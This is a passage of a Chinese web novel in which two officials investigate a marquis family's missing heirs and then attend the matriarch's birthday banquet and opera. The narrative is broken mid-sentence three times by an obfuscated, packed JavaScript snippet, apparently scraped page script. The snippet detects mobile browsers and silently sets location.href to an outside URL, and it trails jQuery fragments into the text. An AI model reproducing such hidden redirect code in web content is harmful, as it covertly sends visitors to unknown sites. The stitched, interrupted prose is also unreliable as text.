“这儿没有其他人了。”李希言转过身,面对着他,“那个紫葳的身体有什么异常吗?” 容朗缓缓摇头:“没有异常,只是……她的脉象……” 他说着说着脸就有些发红。 “到底怎么了?” “咳咳。”容朗清了清嗓子,“房事过于激烈导致胎像不稳。” 李希言倒没有什么太大的反应,只淡然说了一句。 “那可真是不当心。” 她原本还以为是牵扯了什么不得了的隐秘。 如今只是这样的小事,反而没有兴趣。 门忽然响了两下。 “少使,消息都到了。” 78. 子嗣 “你让我留下来就为了这个啊……”容朗看着她手里捏着的一沓纸,嘴角抽了两下。 又是公事! 李希言将写满了字的纸张展开,放在桌上。 “你和平南侯家好歹是亲戚,这些消息是真是假你应该是清楚的。” 递来的消息正是平南侯一家的资料。 上一任平南侯二十多年前就去世了,膝下只有平南侯一子和远嫁的一女,皆是平南侯老夫人所出。 而这一任的平南侯许霖孩子也很少,只有三儿两女。 除去今日所见的几个,还有一个大女儿已经于三年前嫁给了在安南都护府任司马的杜朝觉。 这五个孩子都是已故的平南侯夫人所出。 容朗抄起手:“他家一直被京里的人议论。” “议论他们什么?”李希言认为单从平南侯一家人的情况来说,他家应该不是太过荒唐的家族。 “他家孩子少啊。平南侯的妾室不少,可是就生了五个。这就不说了,他家大儿子至今无子,二儿子院里一堆女人也没孩子,老三也有妾室,却还是没有孩子。” 又不是不纳妾的家族,怎么会人丁如此单薄? 容朗接着说道:“老平南侯只有两个孩子肯定是老夫人的手段,但是如今的平南侯可是她的亲儿子,下面几个还是她的亲孙子,她怎么也不会动手做什么,反而会护着家里人。而且,连他家嫁出去三年的那个大小姐也没孩子。” “京城的人怎么说?” “说他家肯定是遭报应了呗。” “确实有些奇怪……”李希言之前也总觉得平南侯府有些异常。 如今让容朗一说,她就反应了过来。 确实,平南侯府的人太少了,孩子更少,一点儿也不像个大族的模样。 “最奇怪的是他家从来没传出过什么后院不安宁的传闻,几个儿子也就都说老二是个色中饿鬼,老大和老三风评反而还不错。” 正在看情报的李希言突然动作顿住,盯着手里的纸张。 “平南侯夫人和她家三子的未婚妻是同一年死的?” “不仅是同一年。”容朗神神秘秘地说道,“还是同一日呢。” 情报上没有关于此事的详细记录,李希言只能问他。 “同一日?到底是怎么死的?” “就是许家去女方家中下定那一日。听人说,当时排场可大,整座交州城都欢腾了三日。然而,刚刚下定,还没走出女方家门,侯夫人就一下倒在地上,没了气息。外边还未忙过来,那里头的未来新娘子也断了气。” “有说是怎么死的吗?” “暴毙。当时平南侯查了许久都没查到任何线索。根据当时在交州当过官的一个人说,那二人的死状很像是心疾发作的模样。” 李希言很是理智:“应该是被下毒了。” 容朗赞同点点头:“我也这样觉着,反正他家仇人肯定不少。”他靠在榻上,“你接下来有什么打算?” “没什么打算。”李希言微微合上眼,“这几日在府里瞎逛逛就好了,转移他们注意就好了。” “若是我陪着李少使一起,想必他们更加不安!”容朗算盘打得很响。 这样可以跟着姐姐不说,还可以让平南侯府熄了那样的想法! 只是…… 他有些不安地看着她。 “好啊。”李希言答应得很爽快,“明日先去那个戏班子住的院子里看看,你顺便拿点保胎药给紫葳。” 容朗僵硬微笑。 这又是把他当做由头了! 当然,即使如此,他也不可能放弃和她单独相处的机会。 第二日一早,容朗早早地就在院门口等着她了。 等去戏班子那里刺探完情报,也是能有时间去闲逛的! 李希言今日特意换下了绣衣使的官服,穿了一身青色便衣。 即使是这样不算打扮的打扮,容朗也看得发痴,嘴里还喃喃着。 “怎么还是这样好看……” 守门的苗青听得一清二楚:…… 就因为他已经知道内情就如此不避嫌吗? 脸皮真厚!呸! “李少使这样打扮真好看。”容朗迎上去,嘴巴比蜜还甜。 看着面前之人处处精致,李希言的表情尴尬了一瞬。 “王爷是在讽刺我吗?” “怎么会!”容朗一脸真诚,“于李少使而言,其他的都是累赘,不点缀什么脂粉首饰,反而最好看。” 苗青一边震惊于容朗的直白一边忍不住感慨。 好像还真是这样! 向来淡定的李希言冷静不了了。 她脚步飞快走在前面,还欲盖弥彰地说着:“得早些去。” 容朗几步跟上,陪着笑:“我这样说话,你不高兴?” 出了院子,身边已经没有其他人在,李希言也不再掩饰。 “有点丢人。” “被人夸奖也算丢人?” “我不算貌美。”李希言语气如常,“王爷若爱夸谁貌美不如自夸。” 容朗长长“哦”了一声。 “李少使是在夸我?可是,我怎么觉得,李少使比我更好看些。” 李希言一脸正色:“气质,下官看着不猥琐。” 容朗知道她是在开玩笑,乐呵呵地说道:“我也没对李少使做什么,怎么李少使会觉得我猥琐呢?真奇怪。嗯?” 李希言绷不住脸,笑了出来。 “见过王爷,见过李少使。” 小钉子迎面走过来。 这一次,他的步伐稳重了不少。 容朗打趣道:“看来是吃到了昨日的教训了。” 小钉子挠挠头,问道:“这么早,二位大人是要去哪里啊?” “去找紫葳。”容朗面不改色,“昨晚回去,我刚好翻出了几瓶药来,正适合给她。” “紫葳姐姐……不严重吧?”小钉子一脸担忧。 若是不严重,怎么会让这样的贵人亲自来送药。 “不严重啊。”容朗语气轻松,“我本来是不愿意来的,是李少使拉我来的,就当是顺便走走。” 小钉偷偷觑了一眼李希言。 他记得,当时就是这个女官让他们上了官船,还让人给他们张罗饭食。 师兄说,她是个好官,那……对紫葳姐姐好也不奇怪了。 “小的给二位大人带路。” “劳烦你。” 走在路上,李希言有意无意打听起了侯府的事情。 “小钉子,你知道王爷的身份了?” “嗯……”小钉子老老实实回答道,“侯府都传遍了,王爷现在住在府里呢,还说……” 他停住话头,回头看了一眼,把接下来的话吞了下去。 传言或许是假的。 至于这半截话后面是什么…… 容朗清楚得很,只有冷笑。 平南侯可真是会造势。 李希言继续问道:“我看你很熟悉侯府?” “在我的记忆里,师父几乎每年都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321204|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在侯府演几出,侯府寿宴婚宴都让我们戏班包圆了,每次一呆就是一两个月。”小钉子傻乎乎地笑着,“好像连每次过年都是在侯府呢。” “侯府人少,有戏班演出也热闹些。”李希言假装一副恍然的模样,“说来,我好像还真没在侯府见过小孩儿。” 小钉子表情一下紧张了起来:“这是侯府的忌讳。”他压低声音,又看了周边好几眼才说道,“侯府都不准提这事儿。说是……说是……” 李希言俯身:“你悄悄说,不会有人知道的。” 小钉子这才大起胆子说道:“说是生不出孩子是……是几个郎君的问题。” “三个都有问题?”容朗觉得不可能这样巧吧? “嗯……有人看见过,老夫人给三个郎君请专治男子那种病的大夫。其实有些奇怪,我记得还是有好几个妾室怀过孕的,但是不知道怎么回事,都小产了。” 他一脸心有余悸,眼睛也红了红。 “我都亲眼看见过……有个妾室,正听着戏呢,一下就晕了过去,身下一摊血。” 所以,撞到了紫葳这件事让他到现在都惶惶不安。 “丁夫人有怀过孕吗?” 小钉子很确定:“没有。” 说完侯府的传闻,他再也不敢多说。 容朗小声和李希言说道:“若真是他们三兄弟有问题,那些妾室小产也不奇怪。” 这是不通医理也能明白的道理。 李希言点点头。 “像我爹似的,太弱,就是勉强生下来也会早夭。就算不算上宫里的手段,我这一辈夭折的也太多了,现在剩下的就我哥和汉王还有我算身体健康的。” 容朗语出惊人。 李希言不由捂住了耳朵。 为什么老是在她面前讲这些大逆不道的话! “又不是外人,你怕什么?” 李希言放下手:“老二正常,老大和老三不应该。” 许尚安和许佑并没有先天不足的样子,看上去身体不错,又不像许宇那样纵欲。 “还是有人做手脚?” “让人小产的东西不少。” 正说着话,二人就走到了院子门口。 或许是因为时间太早,院子里静悄悄的。 小钉子蹑手蹑脚推开门。 “昨晚大家忙了一宿,天蒙蒙亮才睡下,这时候都还没起呢。” 容朗也小声说话:“是排演这次寿宴的戏吗?” “是呢。”小钉子到底年纪小,忍不住炫耀,“这次的戏很有意思哦,既有戏法也有歌舞戏。你们到时候看了绝对会觉得新奇。” “确实有意思,没听说过一起演的。” “是啊,这次师父不知道怎么回事,忽然提出来的。昨儿我们排了一次,还真不错,所以就这样定下来了。” 容朗逗着他:“那你演什么呢?” 小钉子肩膀都垮了下来。 “我……还不一定能上台呢,戏班里也就锯子师兄能上台……” 李希言忽然说道:“我记得你戏法变得不错。” “我还小嘛。”小钉子被夸奖还是觉得挺开心的,“现在我只能帮着打打杂,以后等我年纪大了就能上台啦。到时候……” 他这才想起,二人不过是暂时来交州,很快就会离开。 容朗揉了揉他的脑袋:“到时候,你在京城演给我们看?” 帝都汇聚的才是最顶尖的戏班。 这是鼓励。 小钉子用力点点头:“好!” 79. 花房 走过空阔的前院,从一道小门进入后院,就到了戏班的人居住的地方。 紫葳住在朝南的房间里。 小钉子带着二人敲了敲门。 “紫葳姐姐。” 门内很快有人回应:“小钉子?什么事啊?” “王爷和李少使来了,还给你拿了药。” 门飞快被打开,紫葳急着行了一礼:“民妇见过王爷,见过李少使。” 李希言扶住她:“你有身孕,不必多礼。” 紫葳也知道二人不是拘礼之人,大大方方站了起来。 “民妇不过是小毛病罢了,哪里劳动二位贵人亲自走一趟。” 容朗把药递给她:“顺路罢了,本王还没有逛过侯府。” 紫葳也不推辞,收下药瓶道了谢。 “二位贵人要是想要逛一逛侯府不如去后头花园的西侧,那儿有个花房,里头什么花儿都有,还有不少域外的花呢。” “是吗?”李希言眼神往屋内一瞟,“你对侯府很熟悉?” “民妇原来是侯府的婢女。” “我看你家夫君应该也是常到侯府唱戏。” “诚如李少使所言。”紫葳面露柔情,“那时候,民妇就和夫君相识了,所以后来才愿意赎身出府。” 对于侯府里的婢女来说,呆在侯府吃穿不愁,反而比外面好,若不是真有好去处是怎么都不会离开的。 “怎么不见你夫君?”容朗扯了个理由,“我刚好还有事要嘱咐他呢。” 紫葳愣了一下:“夫君他……他出去给民妇买零嘴了。”她有些不好意思,“民妇自怀孕后就嘴刁的很。” “他不在,给你说也一样。这药是每晚睡前吃一粒,不可多食。还有,注意禁忌。” 紫葳垂下头应下:“多谢王爷……” 二人照着紫葳所言,找到了藏在后花园中的花房。 花房确实极美。 以树木环绕,其中种满了各色花卉,浑然天成,如同春日的盛景。 若非事先得知此处是人工建成,还真以为会是大自然的鬼斧神工。 二人找了个角落里的石凳坐下。 这附近很安静,也没有婢女小厮来往。 李希言一坐下就说道:“那个紫葳,不一般啊。” “怎么不一般?” “我刚刚偷偷看了她房里的摆设,有好几样都不像是他们买得起的物件。” “你是说那个白玉双耳狮子盖炉?” “你也看见了。” “一眼就瞧见了。那东西是原来母亲赏给平南侯老夫人的。” “即使是平南侯府,宫里的赏赐也不算多见吧?” “自然。那东西虽然没有上册子登记,但也不是凡物。” 如此珍贵的物件,怎么会在紫葳的房内。平南侯府总不可能大手笔到用皇宫里赐下的物件来装饰客房吧? 只有一种可能,这东西是紫葳得到的赏赐。 一个婢女,又怎么会得到如此贵重的赏赐? 容朗忽然想起一件事。 “今早一起,那臭小子就闹着说卫川天还没亮就出了门,是你给他派了什么差事吗?” “让他去安南都护府了,清点给南诏的国礼。” “这次多亏你多留个心眼儿,不然……”容朗想想都觉得头疼。 与吐蕃的对战正在重要的时刻,若是此刻和南诏起了矛盾,对前线的压力太大了。 说到这个关节,李希言问道:“新罗的事情处理得怎么样了?” 容朗一派轻松之色。 “完满解决。新罗的国王说只要严惩凶手就行。” “算是顺利。” “这事儿还要多亏了一个人。” “谁?” “徐令诚。” “他?他也去了?” 容朗也和她一样觉得惊讶。 “他懂得新罗话,前去的使臣看他生的好就把他也带上了。原本啊,这新罗的国王想要借机索要巨额财物。这事儿又本是我们理亏,使臣也不好驳斥。没想到徐令诚站出来直接反问了那国王一句,就让那国王立即哑了火。” 李希言不由好奇:“他说什么了?” “他问新罗的国王,要那么多财物是为了日后给高句丽交赔款吗?” 这话正中要害。 李希言嘴角扬起:“徐令诚嘴巴还挺利的。” “是啊,他一说完,那国王就没再多说,最后连一分补偿都不要,说只要将凶手斩首即可。哥哥到底要顾及两国关系,还是让人带去了些抚恤给那两位使臣的家人。还有其他的被害人,哥哥也下旨给了额外的抚恤。” “欠。”李希言一个字评价了新罗的国王。 “新罗人就这样,你好好说话他反而以为你怕了他。哥哥还说,这次他想要重用徐令诚,说不定这次等我们回去,还能在京城和他们二人相见呢。” “升得这样快?”李希言有些担忧,“沧州的事务,你手下的人能忙的过来吗?” “沧州的余党基本被扫除。”本来是高兴的事情,容朗的表情却沉重了几分,“也只是沧州。” 这一路上遇到的刺杀还有之前盗窃密信之事都和五王之乱的余党脱不开关系。 可见,他们的势力范围已经大大超出了沧州,甚至已经伸到了江南巴蜀一带。 或许……还不止…… 李希言叹了口气:“他们盗窃的密信既然和吐蕃相关,想要抢夺国礼又与南诏有联系。我不得不怀疑,这些人在吐蕃南诏的边境地区也有人手。” 南诏这边还好,短时间内,云南王是不会做什么的。 可是吐蕃那边…… “我得给周彻知会一声。” 这是容朗第一次听到她叫那个人的名字。 “告诉他不如直接告诉西平郡王?” 西平郡王的年纪不小,又一身旧伤,大多数时候都只在坐镇指挥,凉州的军务实际上都是周彻在掌管打理。 可是,李希言还是应了下来:“你说的有理。” 隔空将了情敌一军,容朗欢喜得直接握住了李希言的手。 “王爷这是做什么?”李希言只挑了挑眉,没有挣脱。 容朗这才发现自己做了什么,红着耳朵,却不愿意放开。 “我……我……给李少使看手相!” “看手相?”李希言挑了一下眉,将手摊开,“那王爷帮我看看我的官运如何?” 容朗哪里真的会看手相。 他捧着李希言的右手:“这……这官运……” “只看右手?”李希言玩味地看着他。 “不是男左女右吗?” “左手先天运,右手后天运。” 看她满脸促狭,容朗才反应过来。 她可是国师的徒弟,怎么会不懂手相! 自己那点儿小心思肯定已经被看透了,他羞得满脸通红。 “好了。”李希言反握住他的手,将他的手摊开,“我帮你看?” 被她微微有些凉的手环绕着,容朗心里别提多美了。 “那李少使帮我看看我的姻缘。” 李希言的手指碰了一下他的手掌。 “王爷有几条姻缘线。” “什么?!”容朗骤然变色,脸色涨红,“不可能!我才不是那种人。” “你听我把话说完。” 容朗深吸一口气:“那是什么呀……” “两根线深浅一致,是顺利美满的意思。” 容朗颇为怨念地瞅了她一眼。 “美满是肯定的,就是不太顺利。” 李希言莫名有些心虚。 “下面根线是什么啊?怎么我这两根线靠得这么紧啊?” 李希言凝滞了一瞬间,揶揄道:“王爷情窦初开得好早。” “是啊。”容朗翘起腿,阴阳怪气,“早有什么用,可惜那人连记都不记得我了~” “是么……”李希言浑身一颤,松开手,压根就不敢看他。 哼! 打小就这样,一遇见事情就躲。 容朗气闷,将手摊在李希言手背上:“李少使继续给我看,我还有多久才能成婚!” 冲天的怨气,即使是绣衣司的李少使也扛不住,难得顺从。 角落里,一双美目窥视着二人,眼神复杂。 十一月十六,是平南侯府老夫人的寿辰。 今日的寿宴办得很不同寻常。 一大早,天刚亮,平南侯就带着家里人一身简素去了城南布施,美其名曰“为老夫人祈福”。 城南热闹得很,不管大家平日里不喜欢他们,都是谁会和钱过不去? 布施到了下午才结束。 百姓们心满意足地带着米粮和银钱回了家。 平南侯府的人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328847|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直都是一脸和气。 然而,一回府,平南侯就嫌弃地拍了拍衣裳。 真不知道母亲怎么想的,好好的日子,让他们一家人去大街上不说还穿成这个穷酸样子,晦都晦气死了! “清嘉。”他喊了一声小女儿的名字,脸色好了些,“你先回房去把你祖母给你准备的衣裳换上。” 许清嘉像是被吓了一跳,抖了一下才说道:“是,父亲……” 她说完带着婢女缓缓离开,背影满是沉重。 “父亲。”许尚安皱着眉,“小妹这几日神思不属,到底怎么回事?” 平南侯斜睨了他一眼:“女眷的事情,你少管。” 许尚安当着两个弟弟的面被这样训斥,顿觉丢人,嗫嚅道:“那……父亲,我先回房了。” “去吧。” 他前脚刚走,老二许宇也说道:“父亲,大哥其实说的没错。小妹这几日是有些奇怪,那日我看见她一个人坐在树下一会儿哭丧着脸一会儿又笑得傻乎乎的……” 平南侯眼中浮现一丝担忧。 这个小女儿身上现在可系着他们一家人的存亡。 “你去问问,顺便开解开解她,让她按计划行事。” 许宇面露犹豫:“父亲,其实……” “其实什么?”平南侯眼风一扫。 许宇一下不敢再说:“孩儿遵命。” 邓宇走到许清嘉房内时,许清嘉换上了平南侯老夫人给她专门挑选的衣裳和首饰。 和往日鲜艳活泼的色调不同,今日,她只穿了一身浅粉色的衣裳,首饰也多是珠花,少有昂贵的宝石。 当然,真正的美人浓淡皆宜。 这样打扮,倒是显得她多了几分静美。 “小姐,您笑一笑啊?”婢女放下梳子,“您是不舒服吗?这几日总是闷闷不乐的?” “没有……” “小妹?”许宇走了进来。 “二哥……”许清嘉转过头。 原本圆润的下巴已经变得尖尖的。 许宇屏退左右,才走到她身边,轻声问道:“父亲有些担心你。” “担心我?”许清嘉看着镜子里的脸,自嘲一笑,“是担心爵位吧?” “也不全是。”许宇尴尬地扯了扯嘴角,“长乐王洁身自好,长相俊美,身份高贵确实是个良配。” 几个哥哥中,许清嘉只和二哥亲近。 她忍不住说出了自己的想法:“那又如何?” “你那日不是说你还挺喜欢他的吗?”许宇有些傻眼。 姑娘家心思都变得这么快吗? 许清嘉咬了咬嘴唇,扯着他的袖子。 “哥哥……那日……那日……” 见她一副要哭的模样,许宇急切问道:“什么那日?是长乐王欺负你了?” 许清嘉连连摇头:“我……我看见他和李希言举止亲密……” “和李希言?”许宇一脸不敢置信。 看他不相信,许清嘉急红了脸:“真的!他们俩坐在花房里,还手拉着手呢!” “你确定他们是在拉手不是在扳手腕?”许宇觉得,李希言那种人应该是没有七情六欲的吧? “你瞎说什么呢!我是傻子还是瞎子,连这个都看不清!” 事实就摆在眼前,许宇不得不信。 “那你怎么想?” “我就觉得吧……他都有了喜欢的人了,我们做什么都没用吧?而且……而且……别人……”许清嘉忽然痴痴笑了一下,又很快皱起眉,板起脸,“别人俩人挺好的,我去插一脚算什么事儿啊?” 许宇不由点点头。 “你也这样觉得吧?哥哥!”许清嘉激动地拉住他。 “不不不。”许宇连连摆手。 许清嘉立即拉下脸:“那你是准备让我去插一脚了?” 许宇还是摇头,发白的脸上满是纠结。 “算了。”许清嘉哼了一下,“你不管怎么样,反正你今日不能把这些话告诉父亲他们。” 自家妹妹的性子,许宇怎么不了解。 他心中顿时警铃大作:“你要干什么?” “你少管。”许清嘉威胁道,“你还要我认你,就当作刚刚的事情没发生!” 许宇长叹一口气。 “好,都听你的。” 他伸出手,无奈一笑。 “小霸王,我扶你去前院。” 80. 寿宴开场 寿宴的地点设立在前院。 前院开阔,最适合晚上的表演。 位置已经要坐满。 平南侯热情地招呼着客人。 一个身着官服的瘦高瘦高的老头儿飞快地走进来:“许侯爷,真是对不住,衙门里有些事,来晚了些。” “不晚不晚。”平南侯态度亲近,“邓刺史来了就好,早到晚到都是一样的。” 来者正是交州刺史邓松云。 他扫了一眼四周,眼神微动。 平南侯看出他的心思,解释道:“王爷和李少使还没到呢。” 趁着旁边没有旁人,邓松云小声说道:“长乐王不说,他来你家也属正常。怎么那个活阎王也来了?你是不是招她了?” 想到那个还盘踞在他府内的李希言,平南侯就头疼:“别提了,我也不知道怎么回事。” “咱们相识多年,我也提醒你一句。”邓松云的声音像是从牙缝里挤出来似的,“李希言是真要杀人的。你知道吗?苏州这一次,光是当场被斩首的就有五十来号人。” 一股寒气从脊梁骨窜上来,平南侯脸色僵硬,旋即又勉强一笑:“她要杀人,我也没法子。” 邓松云见他顽固,又多劝了一句:“你真不懂我的意思?老老实实交代了,活着就还有转圜的机会。别忘了,卫国公可是你亲舅舅,难不成他还会不管你们吗?” 平南侯心有触动。 他是真的怕李希言查出什么,所以那日才会那么激动。 “长乐王,李少使,到——” 小厮故意拖长了声音。 邓松云拍了拍平南侯的肩膀:“你好自为之。” 众人皆已行了拜礼。 容朗的话说的客气。 “今日本就是老夫人的寿宴,诸位不必多礼。” 交州的官员和他都不熟悉,旁边又站了一个李希言,一时之间,竟只有平南侯和邓松云敢上前搭话。 平南侯带着二人入了座,坐在最前面。 邓松云攀谈道:“王爷和李少使这次来也不提早说一声,倒是让下官没有准备什么招待二位。” 他原本在京城做官,和二人都有过交道。 容朗看了他一眼。 “邓刺史事务繁忙,我们也不好打搅。” “哪里哪里。”邓松云八面玲珑,也没忘记不爱说话的李希言,“在李少使面前,我哪里敢说忙这个字。李少使,许久不见,一向可好啊?” 李希言对此人印象不错——给绣衣司贡献过两个水平奇高的仵作。 “还好。只是邓刺史……你看上去倒是太累?” 邓松云摸了摸眼下两团乌青。 “没法子的事。前几日,南诏那边又有了动静,我这不得看着嘛。” “南诏有动静?”李希言一下警觉了起来。 “也不是什么大事。”邓松云一脸无所谓,“他们的边务做了变动。李少使,你别太紧张啊。” 边务变动确实是常见之事,李希言不再追问。 邓松云又朝着平南侯解释道:“朱都护今日也是为了这个事儿才来不了,你别介意啊。” “怎会。”平南侯笑了笑,“只是不知这朱都护又要忙成什么样子。” “有章程在,顶天忙个三四日就够了。” 平南侯正欲再说,今日的主人公平南侯老夫人已经来了。 她还是往常的模样,只是换了一身红色喜庆的衣裳。 “哎呀,往年寿宴人虽然比今日多,可是却没有六郎在。” 容朗接话道:“能为您贺寿,也是我的福气。” 他拍了一下手。 张锦急忙呈上一个礼盒。 礼盒打开,里面装着一串珊瑚珠子。 “不是什么稀罕东西,胜在是观空大师开过光的物件。”容朗起身拱手道,“愿姑外祖母身安心泰,福寿绵长。” “竟然是观空大师开光的手串!”老夫人一脸欢喜,将珊瑚珠子拿起来直接套在了手腕上,“六郎的心意老身自然是要随时带着的。” 她又看了一眼左右。 “小姐呢?怎么还没过来?老二也没来?” 众人的眼神一下暧昧了起来,都觉得最近关于长乐王要和平南侯府结亲的传言应该是真的。 李希言吞下一口酒。 酒还是很烈,刺激得喉咙发疼。 难喝。 作为焦点的容朗却一副闲适的模样,悠悠坐了下来,侧着身和李希言说话。 “看看。李少使,这算是白眼狼吧?前脚刚收了我的礼物,后脚却要污我清白。这些人,真是过分。” 李希言还是冷着脸:“王爷还是坐正些。” 坐在二人后面的瑞王探着脑袋:“你们俩说什么呢?” “说明日你要课业加倍。”李希言一脸冷酷无情。 瑞王捂着心口:“谁惹你了,干嘛拿我撒气!” 他现在已经很努力了,再加课业真的活不了! 李希言转过头想要说什么,却意外撞见一双凝望着她的双眼。 那双浅色眼睛还是一眼看得见底。 一股名为慌乱的情绪让她别过了眼。 见鬼! 她拿起酒杯又吞下一口酒。 坐在二人旁边的邓松云将一切收入眼底,嘴上的话也拐了个弯。 “你们还是别瞎猜,我看可不一定。” 和他说小话的同僚似有所觉:“听你这话倒像是知道了什么?” “不可说,不可说。”邓松云闭眼装死。 同僚笑骂:“老滑头!” 而另外一边,许宇已经带着许清嘉走了过来。 许清嘉确实耀眼,一进来就吸引了几乎所有人的注意。 众人越发肯定起了传言的真实性。 “孙女来迟,请祖母恕罪。”许清嘉说是请罪,实际上已经赖到了老夫人身边。 老夫人笑眯眯地搂住她:“我们五娘一定是为了祖母好好打扮去了,真是好看极了。” 许清嘉笑着说:“孙女长得像祖母,自然是好看的。” 平南侯脸上的笑容一滞。 怎么跟说好的不一样? 他只能说道:“其实五娘长得更像舅舅些。” 即使自己的外祖父已经被提及,容朗还是稳如泰山,连个多余的眼神都不给。 也不知这是没听见还是太沉得住气。 老夫人当作不知,让人开始表演歌舞。 为了在李希言面前留下不奢靡的印象。 歌舞被一缩再缩,变得索然无味。 若不是都在和好友同僚闲聊,怕不是当场就要睡过去。 容朗更是一直歪着身子和李希言说话,恨不得直接挨着坐了。 “你看你对面那个女子。” 李希言抬眼一看。 她对面坐了好几个女子。 和她正对的是个二十来岁的已婚妇人。 穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340966|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一身水红色满绣百花纹衣裳,看上去就富贵极了。那张脸倒是和许清嘉有几分相似,只是她的眼尾挑极高,一看就不好惹。 她右手边坐着的是个面色苍白的姑娘,长得很秀气,脸只有巴掌大小,一双小鹿似的眼睛楚楚动人,让人一看就觉得心生怜惜。 “哪一个?” “红色衣裳。” “许家的大小姐?” “没错。” “不如许清嘉。”李希言直言。 许清嘉虽然看着娇纵,但是目光清正,这个许家大小姐眼神很是混浊,让人见之不喜。 容朗也有同感:“名声也不太好,听说啊,当时杜司马的母亲打死都不准她进门。” “我记得夫人人不错啊。” “是啊,所以才都觉得奇怪呢……” 二人窃窃私语。 绣衣使们已经习惯,完全没有反应。 只有稍微注意到这边的人都觉得有些…… 这俩人是不是在商量要怎么搞他们? “老滑头,你说是不是啊?”邓松云身边的同僚撞了一下他的肩膀。 邓松云的表情瞬间变得十分古怪:“你们怎么想的?” 平日里也不像这样正经的人啊? “你看啊,李希言这一路过来弄了那么多人,这是不是轮到咱们交州了?” 邓松云面无表情:“反正和我没关系。” 同僚叉腰:“我也不怕。没做亏心事,不怕鬼敲门。” 邓松云悠悠道:“阎王索命你怕不怕?” 那同僚飞快瞟了一眼李希言。 “有那么一点点。” 漫长无聊的歌舞完毕,天色已经快黑了。 侯府挂上了各色彩灯。 这彩灯很是奇特,全部都做成了桃子的模样。 数量不多,高高低低挂在树上,却别有一番趣味。 老夫人目光一深,忽然说道:“五娘,把你这次珍藏的酒拿出来给客人们都尝一尝。” 许清嘉眉头微皱,脸上还是扬起了一个笑脸:“是,祖母。” 仆人们端着酒壶给客人们从后到前依次倒上。 轮到贵客这边的时候,许清嘉站了出来,亲自给各位客人都斟酒。 最后被斟酒的是容朗和李希言。 许清嘉端着酒壶。 “王爷,请。”她左手按着壶盖,长袖浮动,十分动人。 容朗收敛了笑意,一脸客气不失礼貌:“多谢。” 许清嘉又走到李希言面前,给她斟上酒。 “李少使,请。” 她的袖子在李希言的手背拂过,又冲着她展颜一笑。 “李少使,这酒是我亲手酿的,里面添加了些祛湿的药材,您可千万别嫌弃。” 李希言垂眼看了一眼酒杯。 琥珀色的酒液透明清亮。 “许娘子好手艺。” 许清嘉微微欠身,回到位置上,给自己也斟上了一杯酒。 此时,平南侯起身端起一杯酒,朝着众人说道:“今日家母七十大寿,多谢各位亲朋同僚赏光,在下无以为表,薄酒一杯,先敬各位。”他仰头喝下一杯,又端起一杯酒,“再敬家母。” 众人纷纷站起,端起酒杯和他一同敬了老夫人一杯。 老夫人笑得合不上嘴,自己也喝下一杯酒,让人叫戏班开始表演。 本来有些疲乏的众人一下来了精神。 谁,不喜欢看戏呢? 81. 处处大戏 小锣一敲,四名仙子身着花衣飘摇而来。 那花衣做得精致非常,上面缝着一朵朵花,一下就吸引了所有人的注意。 打头的戏子唱道:“今日是平南侯老夫人寿诞之期,你我不免去寻麻姑仙子,一同前去上寿。” 容朗觉得有些没趣,凑到李希言跟前。 “又是麻姑献寿,可真没意思。” 四名仙子又唱了几句,锣鼓又响。 “不急。小钉子不是说有戏法吗?” 话音刚落。 中间的空地上凭空出现了一颗大树。 这树主干细长,如同舞女的腰肢,树冠茂密至极,枝条横斜,很是好看。 李希言瞳孔微缩。 连她都没注意到那树是何时出现的。 “好!”众人叫好。 树下站着另外一个扮成仙子的戏子,眉目端正,清秀斯文,正是贾秀所扮。 “这个贾秀扮相还真不错,难怪能当台柱子。”容朗赞道。 刚刚下场的四位仙子再次登场。 “麻姑仙子,稽首了! “麻姑”回礼:“众位仙子稽首。到此何事? “凡间平南侯老夫人寿诞之期将至,我等相邀仙子,前去上寿。” “麻姑”水袖一甩,舞动了几下:“我亦正为此事,连日在此采取奇花异草,酿成美酒,也好与其添寿。” 水袖落下,树木之下突现数丛散发着金光的花草。 四位仙子再唱:“如此,我等先行一步,告辞。” 中央只剩下“麻姑”一人,他转身,水袖遮挡之间,手中又多出一个花篮和一把花镰。 容朗看呆了:“李少使,你可看出什么门道了吗?” 李希言缓缓摇头:“毫无痕迹。” 视线中,“麻姑”一边唱一边舞。 “这一枝灵芝草灵光威显,那一枝似青云朵朵连绵……” 树下的金光逐渐消失。 “麻姑”停下动作,皱眉:“可惜无桃。” “桃来——”浑厚的唱腔像是从树中发出的。 众人的目光一下从麻姑身上集中到了树上。 树木不负众望,枝条上忽然绽开数朵桃花。 夜风吹过,花瓣微颤,让人一时分不清真假。 还未等人惊讶完,桃花骤然落了一地纷纷,令人目眩。 